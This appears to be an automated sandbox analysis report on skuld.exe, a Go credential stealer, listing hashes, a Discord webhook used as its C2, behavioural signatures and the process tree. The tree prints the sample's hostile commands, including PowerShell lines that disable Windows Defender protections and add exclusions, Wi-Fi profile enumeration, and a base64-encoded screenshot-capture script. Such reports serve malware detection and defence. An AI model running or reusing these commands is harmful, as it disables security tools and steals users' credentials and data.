Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 08:43

General

  • Target

    skuld.exe

  • Size

    9.5MB

  • MD5

    9352bacdf89952efe367da4ca81941d9

  • SHA1

    0b98c08b9689d7c18155d31a279fce7e9b4926fe

  • SHA256

    2f0124b95bb1bd8327039dc453d315719ce8c3f73b520821258ae062aba470ae

  • SHA512

    a4984d5ee906467bf3f5108aed217f6c1ba0be7714a50e67b9e4cfecf531b05a45d736c581d0e8010ebeaee69c177c66db704130e1a4989080f91603bc54a1f7

  • SSDEEP

    98304:RiC0BeQfoIJGa6F2IoQGST1nRZEDw77F/IGFI/:5I3fo6IoQG61nR6DwVFI/

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1258409018213269555/uCN0wtYxZNzT5QyuDUtPXUdeYkj3blj_Ed2Glmr-iuRbwAZBTP8DYWusQH-_Wx4qwu1t

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1616
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\skuld.exe
      2⤵
      • Views/modifies file attributes
      PID:876
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:4516
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4916
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:3516
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3828
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\skuld.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2012
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:2696
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4900
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:2884
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:404
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4528
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:3108
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            • System Network Configuration Discovery: Wi-Fi Discovery
            PID:1168
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:384
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mqopuees\mqopuees.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:888
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEA50.tmp" "c:\Users\Admin\AppData\Local\Temp\mqopuees\CSC30E8614C56F42859ADEAB908463B1AA.TMP"
                4⤵
                  PID:2656
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /4
            1⤵
              PID:5096

            Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

              Filesize

              2KB

              MD5

              d85ba6ff808d9e5444a4b369f5bc2730

              SHA1

              31aa9d96590fff6981b315e0b391b575e4c0804a

              SHA256

              84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

              SHA512

              8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              d28a889fd956d5cb3accfbaf1143eb6f

              SHA1

              157ba54b365341f8ff06707d996b3635da8446f7

              SHA256

              21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45

              SHA512

              0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c

            • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

              Filesize

              944B

              MD5

              ae32003af242b0188a879f5993c3e153

              SHA1

              9c1094498266ec010e9beca960496edaf7579097

              SHA256

              02e57bb4fbfb29949a5007adfe4b053683320e2b0e713452259921085ec65139

              SHA512

              c2e21420b3c95079fcdde4f8258c47c7e1e129f23bd23a92a12f6c81be5301a0c2e81b6872876df8dab4acdacbf653898ec85cb0bc3add3cabacba98ccc908a1

            • C:\Users\Admin\AppData\Local\Temp\RESEA50.tmp

              Filesize

              1KB

              MD5

              aff83740401b46ca3516cb10652df448

              SHA1

              8175fe5311380eedc44983a0dea530119ceca605

              SHA256

              66e12e66c782a6d3d856aabb24155e166ac65bbdc4954d87371aa485afa646aa

              SHA512

              21a6774a0e81a49171dfb0344e3b0041f6ebd9620ba1bfc7b6b3e22c9b81024e7a6544b090cc3d453b886d60513712759f8c0d2ffe456d7ef135a9c418e077cd

            • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_edjde2fy.ppv.ps1

              Filesize

              60B

              MD5

              d17fe0a3f47be24a6453e9ef58c94641

              SHA1

              6ab83620379fc69f80c0242105ddffd7d98d5d9d

              SHA256

              96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

              SHA512

              5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

            • C:\Users\Admin\AppData\Local\Temp\lvgEQ4eQxW\Display (1).png

              Filesize

              419KB

              MD5

              8bd12ff49910ada2717fb81ac1c49b81

              SHA1

              e298c1d36874770c9450e249e2442899a50a646d

              SHA256

              181546bdbc326ffd0afea60a6e64cc8a88317fc2bee8900c6b6680e09afd0e7a

              SHA512

              b1c37d827fbab45be5f36b6555681210e3b7e71a52bcaedddace1987503b7567de2059e30d2a8ef98caf32b1873f9dcab5970b62fff827c82b33e87aae7c8485

            • C:\Users\Admin\AppData\Local\Temp\mqopuees\mqopuees.dll

              Filesize

              4KB

              MD5

              bfa26eed440b10097e53d467eb426671

              SHA1

              639d73ba38b6f3731cb6d092411360af37c4ac54

              SHA256

              f3b43c2c0adeb10ee7e2faea9237d1d83b41dd6d329df7ec3e646a3391a94e1c

              SHA512

              b84724a2d4fe905fb48df021bd2b8f139fee0087dccae3e003b99509c7006cc85051416e588871d7fcc715e85481ee09f18266224c02752a24a70d4d34a4d23b

            • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

              Filesize

              9.5MB

              MD5

              9352bacdf89952efe367da4ca81941d9

              SHA1

              0b98c08b9689d7c18155d31a279fce7e9b4926fe

              SHA256

              2f0124b95bb1bd8327039dc453d315719ce8c3f73b520821258ae062aba470ae

              SHA512

              a4984d5ee906467bf3f5108aed217f6c1ba0be7714a50e67b9e4cfecf531b05a45d736c581d0e8010ebeaee69c177c66db704130e1a4989080f91603bc54a1f7

            • C:\Windows\System32\drivers\etc\hosts

              Filesize

              2KB

              MD5

              6e2386469072b80f18d5722d07afdc0b

              SHA1

              032d13e364833d7276fcab8a5b2759e79182880f

              SHA256

              ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

              SHA512

              e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

            • \??\c:\Users\Admin\AppData\Local\Temp\mqopuees\CSC30E8614C56F42859ADEAB908463B1AA.TMP

              Filesize

              652B

              MD5

              6b56164c416f8ff481e96e99c3d57e7d

              SHA1

              de5ddfa181fb38557db6e3e80e2998391db15a02

              SHA256

              5fdf5492338558e23fd2d5e7a94e74556b355ba7b3b8c0ba224c6853fefa4f14

              SHA512

              dbb74f046d33aa652d72751480714133a27b7dc74a8f6e5507046f6278f916e0ec10c52a184657021371082b618fc5d83f7c2cb269d6663988570800ca99b61a

            • \??\c:\Users\Admin\AppData\Local\Temp\mqopuees\mqopuees.0.cs

              Filesize

              1004B

              MD5

              c76055a0388b713a1eabe16130684dc3

              SHA1

              ee11e84cf41d8a43340f7102e17660072906c402

              SHA256

              8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

              SHA512

              22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

            • \??\c:\Users\Admin\AppData\Local\Temp\mqopuees\mqopuees.cmdline

              Filesize

              607B

              MD5

              7caf8b7bf23c526b6c519845f8d0c0c1

              SHA1

              fde3a49440bd576696f21718e225d82deaf2b844

              SHA256

              f3367a92f3fdf2267b49fd6989434ae0ca996b158d25dc6b5f805ec0d0a9e3b3

              SHA512

              64ad09bfebe4a7003dd683085e52e05c43aa887b8d87ceb8927cd31456b12e888b29e4fad35845c986d0b2031857b170ec26bef28826c27b95672c39a76ca6de

            • memory/384-62-0x000002593C7C0000-0x000002593C7C8000-memory.dmp

              Filesize

              32KB

            • memory/2012-6-0x000001DD61E80000-0x000001DD61EA2000-memory.dmp

              Filesize

              136KB